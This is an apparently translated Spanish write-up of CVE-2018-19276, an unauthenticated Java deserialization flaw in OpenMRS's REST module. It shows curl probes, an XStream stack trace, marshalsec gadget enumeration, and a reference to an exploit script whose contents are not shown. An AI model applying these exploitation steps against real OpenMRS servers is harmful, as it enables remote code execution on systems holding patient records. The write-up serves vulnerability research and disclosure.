
CVE-2018-19276 - OpenMRS Deserialización insegura de objetos RCE
De https://talk.openmrs.org/t/critical-security-advisory-cve-2018-19276-2019-02-04/21607
La deserialización insegura de objetos permite la ejecución de código arbitrario sin necesidad de iniciar sesión. Las restricciones de IP en el módulo Webservices no previenen este ataque.

Encontrado por Nicolas Serra de Security Associate en Bishop Fox.
Veamos cómo funcionan los servicios web REST de OpenMRS usando la documentación oficial:
curl -u admin:test -i 'http://localhost:8080/openmrs/ws/rest/v1/concept'
Veamos la corrección:
Podemos encontrar esta información:
https://github.com/openmrs/openmrs-module-webservices.rest/pull/369#issuecomment-443513473
Básicamente filtran el Content-type de las peticiones POST cuando es XML, así que tal vez sea XXE o una deserialización insegura 👍
Veamos la documentación otra vez:

Bueno, esto está bien, ¿qué ocurre si enviamos XML al servicio web REST?
> curl -i -s -k -X $'POST' -H $'Host: 127.0.0.1:8888' -H $'Content-Type: text/xml' $'http://127.0.0.1:8888/openmrs/ws/rest/v1/concept'
HTTP/1.1 500 Internal Server Error
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=A896A8B1B0092400DBF74E2E8C365949; Path=/openmrs; HttpOnly
Content-Type: application/json;charset=UTF-8
Content-Length: 8980
Date: Mon, 11 Mar 2019 12:58:30 GMT
Connection: close
{"error":{"message":"[ : input contained no data]","code":"com.thoughtworks.xstream.io.xml.XppReader:126","detail":"com.thoughtworks.xstream.io.StreamException: : input contained no data\n\tat com.thoughtworks.xstream.io.xml.XppReader.pullNextEvent(XppReader.java:126)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readRealEvent(AbstractPullReader.java:148)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.readEvent(AbstractPullReader.java:141)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.move(AbstractPullReader.java:118)\n\tat com.thoughtworks.xstream.io.xml.AbstractPullReader.moveDown[...]
El error nos da algo muy interesante: xstream.XStreamMarshaller
Probemos a usar la increíble herramienta marshalsec para provocar un RCE mediante la deserialización de Java.
Veamos los gadgets disponibles:
$ java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream -v
No gadget type specified, available are [SpringPartiallyComparableAdvisorHolder, SpringAbstractBeanFactoryPointcutAdvisor, Rome, XBean, Resin, CommonsConfiguration, LazySearchEnumeration, BindingEnumeration, ServiceLoader, ImageIO, CommonsBeanutils]
En este punto, solo uso la búsqueda de GitHub en cada gadget de XStream para encontrar una ocurrencia. Solo el gadget ImageIO parece prometedor:

Probémoslo:

¡Eso es!
python CVE-2018-19276.py
